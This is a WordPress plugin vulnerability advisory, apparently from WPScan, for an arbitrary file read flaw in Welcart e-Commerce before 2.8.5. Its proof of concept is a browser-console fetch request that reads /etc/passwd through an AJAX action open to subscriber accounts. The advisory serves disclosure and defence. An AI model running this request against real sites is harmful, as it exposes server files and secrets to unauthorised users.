WordPress Plugin Vulnerabilities
Welcart e-Commerce < 2.8.5 - Subscriber+ Arbitrary File Access
Description
The plugin does not validate user input before using it to output the content of a file via an AJAX action available to any authenticated users, which could allow users with a role as low as subscriber to read arbitrary files on the server.
Proof of Concept
Run the below command in the developer console of the web browser while being on the blog as subscriber user fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded", }, "method": "POST", "body": 'action=wel_check_progress_ajax&progressfile=/etc/passwd', "credentials": "include" }).then(response => response.text()) .then(data => console.log(data));
Affects Plugins
References
CVE
Classification
Type
FILE DOWNLOAD
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
WPScan
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-12-05 (about 11 months ago)
Added
2022-12-06 (about 11 months ago)
Last Updated
2022-12-06 (about 11 months ago)